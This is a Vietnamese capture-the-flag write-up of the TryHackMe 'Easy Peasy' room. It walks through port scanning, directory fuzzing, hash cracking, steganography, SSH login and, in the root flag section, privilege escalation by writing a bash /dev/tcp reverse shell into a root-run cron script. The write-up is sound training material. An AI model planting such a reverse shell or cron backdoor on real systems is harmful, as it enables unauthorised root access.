TryHackMe - Easy Peasy

Có lẽ đây không phải là room dễ nhất, và mốc 45 phút chắc chắn là quá lạc quan

Đăng lúc 15/03/2025

Viết bởi René Bui

8 phút đọc

TryHackMe - Easy Peasy

Giới thiệu

Thực hành sử dụng các công cụ như Nmap và GoBuster để tìm một thư mục ẩn, qua đó giành được quyền truy cập ban đầu vào một máy có lỗ hổng. Sau đó, leo thang đặc quyền bằng cách khai thác một cron job dễ bị tấn công.

Việc đánh giá thử thách này ở mức Dễ là hợp lý, nhưng tôi chắc chắn không thể hoàn thành nó trong 45 phút như mô tả của thử thách. Dù sao thì hãy bắt đầu thôi.

Nhiệm vụ 1

Nmap

Hãy bắt đầu bằng việc quét với Nmap:

nmap -T4 -n -sC -sV -Pn -p- 10.10.61.9
PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Welcome to nginx!
6498/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
|   256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_  256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open  http    Apache httpd 2.4.43 ((Ubuntu))
|_http-server-header: Apache/2.4.43 (Ubuntu)
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Câu hỏi: Có bao nhiêu cổng đang mở?

Câu trả lời:

3

Câu hỏi: Phiên bản của nginx là gì?

Câu trả lời:

1.16.1

Câu hỏi: Dịch vụ nào đang chạy trên cổng cao nhất?

Câu trả lời:

Apache

Nhiệm vụ 2

Flag 1

Chúng ta được yêu cầu sử dụng GoBuster cho bước này, nhưng tôi nghĩ ffuf cũng hoạt động tốt.

└─$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.61.9/FUZZ" -fl 124
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.61.9/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 124
________________________________________________

                        [Status: 200, Size: 612, Words: 79, Lines: 26, Duration: 42ms]
hidden                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 43ms]
index.html              [Status: 200, Size: 612, Words: 79, Lines: 26, Duration: 42ms]
robots.txt              [Status: 200, Size: 43, Words: 3, Lines: 4, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 943 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

Hãy kiểm tra thêm bên trong thư mục hidden.

└─$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.61.9/hidden/FUZZ" -fl 124                    

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.61.9/hidden/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 124
________________________________________________

                        [Status: 200, Size: 390, Words: 47, Lines: 19, Duration: 42ms]
index.html              [Status: 200, Size: 390, Words: 47, Lines: 19, Duration: 42ms]
whatever                [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 952 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

Hãy truy cập http://10.10.61.9/hidden/whatever.

Trong mã nguồn, chúng ta có thể thấy một chuỗi.

Hãy giải mã nó bằng CyberChef.

Câu trả lời:

flag{CENSORED}

Flag 2

Sau khi tìm kiếm một chút, tôi phát hiện một chuỗi khác trông giống như một hash.

Sau khi thử bẻ khóa bằng John và CrackStation, cuối cùng tôi đã tìm thấy trang web https://md5hashing.net/.

Câu trả lời:

flag{CENSORED}

Flag 3

Thành thật mà nói, tôi đã tìm thấy flag 3 trước tiên vì sau khi truy cập 10.10.61.9:80, tôi đã vào 10.10.61.9:65524 để kiểm tra xem có gì ở đó :D

Câu trả lời:

flag{CENSORED}

Chúng ta có thể tìm thấy tên của thư mục ẩn trong mã nguồn của trang Apache mặc định. Chuỗi này được mã hóa bằng Base62.

Câu hỏi: Thư mục ẩn là gì?

Chúng ta nhận được câu trả lời:

/n0<CENSORED>

Sau khi truy cập thư mục đó, chúng ta có thể thấy một chuỗi khác.

Để bẻ khóa chuỗi này, chúng ta sẽ sử dụng john và chọn loại hash GOST.

Ghi hash vào một tệp
Chạy john với thuật toán GOST và chọn tệp wordlist được cung cấp trong room này

$ echo '940d<CENSORED>' > hash.txt
$ john --format=GOST hash.txt --wordlist=list.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gost, GOST R 34.11-94 [64/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mypass<CENSORED>b (?)     
1g 0:00:00:00 DONE (2025-02-22 00:01) 100.0g/s 409600p/s 409600c/s 409600C/s mypasswordforthatjob..flash88
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Câu hỏi: Sử dụng wordlist được cung cấp trong nhiệm vụ này để bẻ khóa hash. Mật khẩu là gì?

Câu trả lời:

mypass<CENSORED>b

Để tìm thông tin đăng nhập SSH, chúng ta sẽ thực hiện các bước sau:

Tải hình ảnh từ trang web ẩn
Sử dụng steghide để tìm thông tin được ẩn bằng kỹ thuật steganography

Bây giờ, chúng ta sử dụng cat để đọc tệp và thấy username cùng mật khẩu được viết dưới dạng nhị phân, vì vậy cần chuyển đổi chúng thành văn bản.

Bây giờ, chúng ta có thể đăng nhập qua SSH đang chạy trên cổng 6498/tcp của máy này.

└─$ ssh <CENSORED>@10.10.61.9 -p 6498
The authenticity of host '[10.10.61.9]:6498 ([10.10.61.9]:6498)' can't be established.
ED25519 key fingerprint is SHA256:6XHUSqR7Smm/Z9qPOQEMkXuhmxFm+McHTLbLqKoNL/Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.61.9]:6498' (ED25519) to the list of known hosts.
*************************************************************************
**        This connection are monitored by government offical          **
**            Please disconnect if you are not authorized              **
** A lawsuit will be filed against you if the law is not followed      **
*************************************************************************
<CENSORED>@10.10.61.9's password: 
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
<CENSORED>@kral4-PC:~$ 

User Flag

Và chúng ta có thể lấy user flag.

<CENSORED>@kral4-PC:~$ cat user.txt 
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}
<CENSORED>@kral4-PC:~$ 

Giải mã bằng ROT13.

Root Flag

Chúng ta có thể thấy các cron job tại /etc/cronjobs.

<CENSORED>@kral4-PC:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* *    * * *   root    cd /var/www/ && sudo bash .mysecretcronjob.sh

<CENSORED>@kral4-PC:/$ cat /var/www/.mysecretcronjob.sh
#!/bin/bash
# i will run as root
<CENSORED>@kral4-PC:/$ 

Có vẻ chúng ta có quyền ghi vào tệp.

-rwxr-xr-x  1 <CENSORED> <CENSORED>   33 Jun 14  2020 .mysecretcronjob.sh
<CENSORED>@kral4-PC:/var/www$ 

Vì vậy, hãy thêm reverse shell vào tệp.

$ nano .mysecretcronjob.sh
bash -i >& /dev/tcp/10.11.75.122/1337 0>&1

Bây giờ, hãy khởi động listener trên máy cục bộ và chờ cron job chạy.

$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.61.9] 38590
bash: cannot set terminal process group (1716): Inappropriate ioctl for device
bash: no job control in this shell
root@kral4-PC:/var/www# 

root@kral4-PC:~# ls -la
ls -la
total 40
drwx------  5 root root 4096 Jun 15  2020 .
drwxr-xr-x 23 root root 4096 Jun 15  2020 ..
-rw-------  1 root root    2 Feb 21 15:33 .bash_history
-rw-r--r--  1 root root 3136 Jun 15  2020 .bashrc
drwx------  2 root root 4096 Jun 13  2020 .cache
drwx------  3 root root 4096 Jun 13  2020 .gnupg
drwxr-xr-x  3 root root 4096 Jun 13  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   39 Jun 15  2020 .root.txt

Và chúng ta đã hoàn thành.

TryHackMe

Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .

Giới thiệu

Nhiệm vụ 1

Nmap

Nhiệm vụ 2

Flag 1

Flag 2

Flag 3

User Flag

Root Flag

Các thẻ thịnh hành